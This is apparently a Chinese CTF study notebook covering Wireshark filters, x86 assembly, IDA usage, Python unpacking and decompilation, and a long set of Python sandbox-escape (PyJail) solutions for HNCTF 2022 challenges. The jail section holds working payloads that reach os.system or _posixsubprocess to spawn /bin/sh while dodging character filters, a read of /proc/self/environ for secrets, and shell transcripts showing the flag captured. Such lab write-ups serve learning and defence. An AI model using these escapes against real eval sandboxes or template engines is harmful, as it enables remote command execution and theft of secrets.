//根據content_length的數值過濾
http.server
//過濾所有含有http頭中含有server欄位的資料包
http.request.version == “HTTP/1.1″
//過濾HTTP/1.1版本的http包,包括請求和響應
http.response.phrase == “OK”
//過濾http響應中的phrase
## **re:**
# 逆向相關
### 彙編基礎
#### 通用暫存器
- EAX:(針對運算元和結果資料的)累加器
- EBX:(DS段的資料指標)基址暫存器
- ECX:(字串和迴圈操作的)計數器
- EDX:(I/O指標)資料暫存器
- ESI:(字串操作源指標)源變址暫存器
- EDI:(字串操作目標指標)目的變址暫存器
- EBP:(SS段中棧內資料指標)擴充套件基址指標暫存器[棧幀暫存器、棧底指標暫存器]
- ESP:(SS段中棧指標)棧指標暫存器[指向棧頂]
#### 段暫存器
- CS:程式碼段暫存器
- SS:棧段暫存器
- DS:資料段暫存器
- FS:資料段暫存器
- ES:附加資料暫存器
- GS:資料段暫存器
#### 程式狀態與控制暫存器
- EFLAGS:標誌暫存器,32個位元的01控制
- ZF(零標誌器,運算結果為0時置1)
- CF(進位標誌,運算結果向最高位以上進位時置1)
- OF(溢位標誌)
- AF(輔助進位標誌,運算結果在第3位的時候置1)
- SF(符號標誌,有符號整型的符號位為1時置1)
#### 指令指標暫存器
- EIP / RIP:儲存CPU要執行的指令地址
### 常用指令
> 操作碼 目的運算元 源運算元
- PUSH/POP:壓棧/出棧
- PUSHA/POPA 、 PUSHAD/POPAD
- MOV/CALL/RET/LEA/INT/EMD:傳送 / 呼叫 / 返回 / 載入 / 中斷 / 結束
- CMP/TEST:比較/測試(結果丟棄,只修改標誌位暫存器)
- JMP系列跳轉指令
- ADD/SUB/SHL/SHR/ROL/ROR:加 / 減 / 邏輯左移 / 邏輯右移 / 迴圈左移 / 迴圈右移
- INC/DEC :加一 / 減一
- MUL/IMUL:無符號乘法、整數乘法
- DIV/IDIV:無符號除法、整數除法
- AND/XOR/OR/NOT:與 / 異或 / 或 / 取反
#### 棧幀
PUSH EBP ;函式開始
MOV EBP,ESP ;將棧頂地址存入EBP中
.... ;函式執行,期間EBP地址不變
MOV ESP,EBP ;基準點地址給到ESP
POP EBP ;棧狀態恢復,彈出EBP
RETN ;函
#### 定址方式
- 暫存器定址、立即定址、暫存器間接定址、基址定址 …
### IDA使用
#### IDA的常用快捷鍵
F系列【主要是除錯狀態的處理】
F2 新增/刪除斷點
F4 執行到游標所在位置
F5 反彙編
F7 單步步入
F8 單步跳過
F9 持續執行直到輸入/斷點/結束
shift系列【主要是調出對應的頁面】
shift+F1 Local types
shift+F2 execute scripts【常用】
shift+F3 Functions
shift+F4 Names
shift+F5 Signatures
shift+F7 Segments
shift+F8 Segments registers
shift+F9 Structures
shift+F10 Enumerations
shift+F11 Type libraries
shift+F12 Strings【常用】
Shift+E 匯出資料【常用】
單字元系列【基本是資料處理轉換相關】【這些都比較常用】
G 按地址查詢
D 將字串等元素轉為資料
N 重新命名(函式名、變數名等)
Y 修改變數型別等(比如int改char等等)
H decimal 資料的進位制快速轉換
A 將資料轉變為字串型別
C code(將資料轉變為彙編程式碼,分為自動和強制執行)
U undefined(將字串轉變為原始資料)
X 交叉引用(反彙編頁面)
P 選中位置識別為函式
Ctrl、Alt系列
Ctrl+F 搜尋【常用】
Ctrl+X 交叉引用(彙編頁面)【常用】
Alt+T 查詢Text
Ctrl+T 查詢下一個text
Alt+C Next Code
Ctrl+D Next Data
Ctrl+Z 撤銷
Ctrl+Shift+Z 恢復
Alt+K 修改堆疊值
else
/ 新增註釋 or 右鍵選擇edit comment【常用】
\ hide cast,隱藏/顯示一些變數型別註解
Ins 新增區塊註釋
### IDA常用指令碼
> IDC&python,具體可以看IDA的官方書籍
#### IDC
//獲取暫存器的值
auto eax = GetRegValue("EAX");
1
2
auto addr = 0x0;
auto i = 0;
for(i; i < 10; i = i+1)
{
//列印位元組
Message("%x",Byte(addr+i));
//修改位元組
PatchByte(addr+i,Byte());
}
//dump資料
auto i,fp;
fp = fopen("D:\dump2","wb");
for(i=0x10;i<0x12;i++)
fputc(Byte(i),fp);
print("end");
#### python
匯入標頭檔案
from idaapi import *
獲取暫存器的值
espval = get_reg_val('esp')
獲取位元組值ida_bytes.get_word()
value = ida_bytes.get_word(address)
獲取16位元組長度的資料
ida_bytes.get_bytes(address, 16)
race指令碼
auto edx = GetRegValue("EDX");
Message("%c",edx&0xff);
exp
s = 'NRQ@PC}?m9kni;k7v&%rq-t!zz{+}|xzA@@@@G@Z'
for i in range(len(s)):
print(chr(ord(s[i])^i),end='')
idc_base64 exp
auto addr = 0x403040;
auto i = 0;
for(i; i < 64; i = i+1)
### python逆向
#### 常規解題思路:
1. 識別exe為python打包【這種exe一般會比較大,而且ida開啟後會有明顯的python字元特徵】
2. 解包exe,定位核心pyc或者so檔案
3. 反編譯核心檔案,進行動靜態除錯分析邏輯
#### pyinstxtractor解包exe檔案
#### github
> https://github.com/extremecoders-re/pyinstxtractor
#### Use
> python pyinstxtractor.py xxx.exe
#### pyc檔案反編譯
> PYC檔案是Python編譯檔案(Python Compiled File)的縮寫。當Python原始碼檔案(以.py為副檔名)被直譯器執行時,直譯器會將其轉換為位元組碼,並將位元組碼儲存在PYC檔案中,以便在下次執行相同程式碼時可以更快地載入和執行
#### Magic Number
MAGIC_1_0 = 0x00999902
MAGIC_1_1 = 0x00999903
MAGIC_1_2 = 0x00999903
MAGIC_1_3 = 0x0A0D2E89
MAGIC_1_4 = 0x0A0D1704
MAGIC_1_5 = 0x0A0D4E99
MAGIC_1_6 = 0x0A0DC4FC
MAGIC_2_0 = 0x0A0DC687
MAGIC_2_1 = 0x0A0DEB2A
MAGIC_2_2 = 0x0A0DED2D
MAGIC_2_3 = 0x0A0DF23B
MAGIC_2_4 = 0x0A0DF26D
MAGIC_2_5 = 0x0A0DF2B3
MAGIC_2_6 = 0x0A0DF2D1
MAGIC_2_7 = 0x0A0DF303
MAGIC_3_0 = 0x0A0D0C3A
MAGIC_3_1 = 0x0A0D0C4E
MAGIC_3_2 = 0x0A0D0C6C
MAGIC_3_3 = 0x0A0D0C9E
MAGIC_3_4 = 0x0A0D0CEE
MAGIC_3_5 = 0x0A0D0D16
MAGIC_3_5_3 = 0x0A0D0D17
MAGIC_3_6 = 0x0A0D0D33
MAGIC_3_7 = 0x0A0D0D42
MAGIC_3_8 = 0x0A0D0D55
MAGIC_3_9 = 0x0A0D0D61
MAGIC_3_11 = 0x0A0D0DA7
低版本python不支援
import importlib
importlib.util.MAGIC_NUMBER.hex()
已經廢棄,但還是可以用
import imp
imp.get_magic().hex()
#### 線上網站
#### pycdc
> https://github.com/zrax/pycdc
#### Use
反編譯為py檔案
./pycdc xxx.pyc > output.py
反編譯為python位元組碼
./pycdas xxx.pyc > output.txt
### uncompyle6
#### Install
> pip install uncompyle6
#### Use
> uncompyle6 input.pyc > output.py
**python位元組碼識別**
- 可以考慮手動還原,但是這個東西交給普通的gpt3也可以自動還原
> https://docs.python.org/zh-cn/3.8/library/dis.html
**Cython**
- 常見於python庫打包為so檔案,一般可以借用help()函式以及各種調庫方式debug so庫,以及透過暴力逆向so來分析其邏輯
idc指令碼:
auto addr = 0x401530; auto i = 0; for(i; i < 213; i = i+1) { PatchByte(addr+i,Byte(addr+i)^0x90); }
## PYJAIL:
### PYJAIL PY沙箱逃逸
------
**unicode編碼exp:**
```python
from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict
lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
for i in range(0x110000):
if normalize("NFKC", chr(i)) == char:
dic[char].append(chr(i))
if len(dic[char]) > 9:
break
print(dic)
因為python3的unicode特性,可以繞過一些沙箱使用,例如:
𝓮val(inp𝓾t())
常見簽到:
open("flag").read()
環境flag:
__import__("os").system("cat flag")
過濾部分字元使用chr拼接:
open(chr(102)+chr(108)+chr(97)+chr(103)).read()
python字元與ascill碼互轉:
print(ord(b'f')) #轉ascill
print(chr(102)) #轉字元
限制輸入字元長度:
eval(input())
pwntools傳輸unicode:
from pwn import *
io = remote("node5.anna.nssctf.cn",28561)
io.sendlineafter("Enter your expression and I will evaluate it for you.","𝓮val(inp𝓾t())")
io.interactive()
breakpoint()除錯函式,任意命令執行:
breakpoint()
help()執行more程式執行shell:
help()
--More--! cat flag
! cat flag
globals()獲取全域性變數:
globals()
#一般長度不超過6即為help()呼叫函式,接著獲取shell或者key sys,server..
bytes構造字串:
payload: open("flag").read()
exp: open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)
有過濾,使用bytes()拼接字串,exp最終為 system("cat flag")
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode())
一句話RCE:
__import__('os').system('sh')
__import__('os'):這是一個使用內建函式 __import__ 來匯入 Python 模組 os 的程式碼。os 模組提供了與作業系統互動的功能,例如執行系統命令、檔案操作等。
os.system('sh'):在匯入了 os 模組後,該程式碼執行了 os.system('sh')。os.system() 函式是用於執行系統命令的,它接受一個字串引數,將其中的命令在終端或命令提示符中執行。在這裡,它試圖執行命令 sh。
sh 是一個常用的 Unix/Linux 命令列直譯器(shell),它是命令列的一個互動式直譯器,允許使用者輸入命令並執行。
SSTI(python模板注入):
().__class__.__base__.__subclasses__()
python中的元組、列表、字典、字串等都是物件 可以用過__class__
這個函式來進行檢視 可以看到父類是object
可以說任何類的父類都是object
__base__
是返回這個物件所屬類的父類 __mro__
是以元組的形式返回與該物件所屬類相關的所有類 __bases__
是以元組的形式返回這個物件
所屬類的父類
__subclasses__()
別丟括號這個函式會返回當前嗎父類下的所有子類
getsttr()用於返回一個物件屬性值
引數:
getattr(object, name[, default]) #注意在轉化的時候 單引號需要進行省略
getattr(().__class__, '__base__').__subclasses__()
getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()
getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), '__subclasses__')()
getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
方法一:
我們嘗試在題目環境中輸入這段命令 檢視返回的object父類中包含的所有子類
Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
在下標索引為-4
的位置看到了<class 'os._wrap_close'>
可以構造payload
().__class__.__base__.__subclasses__()[-4].__init__.__global__['sysytem']('sh')
整體轉換一下
getattr(getattr(getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4], chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)), chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))
方法二:
__builtins__
模組用於檢視python內部的內建變數和內建函式
__builtins__
是對builtins
的引用 在任何地方使用builtins
都必須import 但是使用__builtins__
不需要使用import
寫出payload
__builtins__.__import__('os').system('cat flag')
呼叫了os模組的system函式(用於在作業系統的 shell 中執行命令。它接收一個字串引數 command
,表示要執行的系統命令,然後將該命令傳遞給作業系統的 shell 進行執行) 執行cat flag
命令 直接讀取flag檔案的值
在這之前還要透過input()函式 輸入上述payload 因為環境ban掉了字母i
因此我們還是使用chr()函式 替換掉input()函式
eval(chr(0x65)+chr(0x78)+chr(0x65)+chr(0x63)+chr(0x28)+chr(0x69)+chr(0x6e)+chr(0x70)+chr(0x75)+chr(0x74)+chr(0x28)+chr(0x29)+chr(0x29))
# eval(exec(input()))
'''
exec()的作用
動態執行程式碼:exec() 允許在程式執行時根據需要執行動態生成的 Python 程式碼。這對於動態建立函式、類、變數等非常有用。
動態匯入模組:使用 exec() 可以實現在執行時動態匯入模組,而不是在程式碼中固定匯入。
執行使用者輸入的程式碼:exec() 可以用於執行使用者輸入的 Python 程式碼,允許在程式執行時根據使用者的輸入執行相應的操作。
指令碼執行:有時候,你可能希望從檔案或網路獲取一段 Python 程式碼,並在程式中執行它。exec() 允許你動態地執行從外部來源獲取的程式碼。
'''
當然這個payload的前提是 知道flag檔案的位置和名字
方法三:
open(chr(102)+chr(108)+chr(97)+chr(103)).read()
# open('flag').read()
使用ssti bytes:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')
轉化為
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())
doc查詢:
在這裡 我們使用列表這個類來查詢字元
print([].__doc__)
print([].__doc__.find('s'))
'''
輸出:
17
'''
那麼可以使用下標進行拼接system和sh函式
# system
[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]
# sh
[].__doc__[17]+[].__doc__[54]
下面是轉換過程
().__class__.__base__.subclasses__()[-4].__init__.__globals__['system'].('sh')
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]]([].__doc__[17]+[].__doc__[54])
bytes被ban的情況使用object子類拼接:
檢視object下的所有子類 發現bytes
的下標索引是6 因此可以進行利用
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())
轉化為
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)
說明一下bytes和type的關係:
bytes = type(str(1).encode())
"system" == (type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()
== [].__class__.__mro__[-1].__subclasses__()[-4]
\# 執行system(???)
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()](???)
同理反抽就可以執行system("ls")然後cat flag了
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())
這裡只展示了system("ls")
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
\> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())
flag_y0u_CaNt_FiNd_mE server.py
Answer: 0
我們可以看到檔名為flag_y0u_CaNt_FiNd_mE
法二:利用Show subclasses with tuple找到bytes類:
().__class__.__base__.__subclasses__()
\> ().__class__.__base__.__subclasses__()
Answer: [, , , , , , ....
可發現bytes類的索引是6。所以有
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
nc node5.anna.nssctf.cn 28261 ─╯
_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
\> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
sh: 0: can't access tty; job control turned off
$ ls /
bin dev home lib32 libx32 mnt proc run srv tmp var
boot etc lib lib64 media opt root sbin sys usr
$ ls
flag_y0u_CaNt_FiNd_mE server.py
方法三:利用__doc__:
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
\> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mE server.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{9863752e-e8e4-44de-a0f1-9d1ae06f2e91}
$
[HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL str().join拼接字元)
jion拼接:
使用john()
函式進行拼接
''.join(['s', 'y', 's', 't', 'e', 'm'])
這樣就能得到system 但是雙引號也被ban掉了 我們可以使用str()
這個函式 就相當於一個雙引號
str().join(['s', 'y', 's', 't', 'e', 'm'])
由此可以得到payload
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]]([].__doc__[17]+[].__doc__[54])
().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([[].__doc__[17],[].__doc__[87],[].__doc__[17],[].__doc__[4],[].__doc__[15],[].__doc__[9]])](str().join([[].__doc__[17],[].__doc__[54]]))
[HNCTF 2022 WEEK2]calc_jail_beginner_level5(dir())
dir()解題:
dir()
dir(my_flag)
dir(my_flag.flag_level5)
有encode可以使用
my_flag.flag_level5.encode()
[HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL _posixsubprocess.fork_exec lamba表示式)
方法一:
這裡需要使用_posixsubprocess.fork_exec
首先將_posixsubprocess
類導進去 import
使用不了 但是__builtins__
還是可以使用的
__builtins__['__loader__'].load_module('_posixsubprocess')
或:
__loader__.load_module('_posixsubprocess')
下面是完整的payload
import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
進入shell介面 讀取flag就好(雖然會在shell和python介面來回切換)
方法二:
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('/bin/sh')")
海象運算子:[HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(海象運算子、列表、無限迭代器)
海象運算子
:=
海象運算子的優勢在於能在不允許賦值的地方(如if語句的條件表示式中)使用賦值變數。海象運算子左側有個識別符號,賦值表示式的值等於分配給這個識別符號的值
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]
上一步就是實現level6的payload 先匯入os模組 再匯入_posixsubprocess
模組 在使用_posixsubprocess
模組
但是shell只顯示一次shell 就退掉了 因此要使用無線迭代器itertools
[os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]
[HNCTF 2022 WEEK3]calc_jail_beginner_level7(函式裝飾器、類的定義)
裝飾器@類的定義:
@exec
@input
class A: pass
--HNCTF
前兩個是函式裝飾器: 把帶有@的函式放到某個函式的定義處,相當於執行了一次@後的函式
後面是類定義 這裡的pass
主要作用是佔據位置 讓程式碼整體完整 定義空類會報錯
成功進入main函式主體 在執行命令 進入shell即可
__import__('os').system('sh')
lambda表示式:
(lambda: __import__('os').system('sh'))()
python3.8 random 海象運算:
random
中所有的隨機數呼叫方法都是依賴於getrandbits(32)
,這就是梅森旋轉法的應用:每次產生32bit隨機數,每產生624次隨機數就轉一轉。而如果我們一開始import random
並列印random.getstate
的話,我們會發現內容為一個tuple:
(3, (..., 624), None)
第一個取值3
和第三個取值None
都是固定的,雷打不動的;主要是中間的那個tuple:前面打省略號的地方是624個32位整數,最後一個624表示當前生成到了第624個隨機數。我們先呼叫一次random.getrandbits(32)
,再檢視random.getstate
,會發現內容變為:
(3, (..., 1), None)
[random:=__import__('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)][-1]
讀環境獲取flag:
{print(open("/proc/self/environ").read())}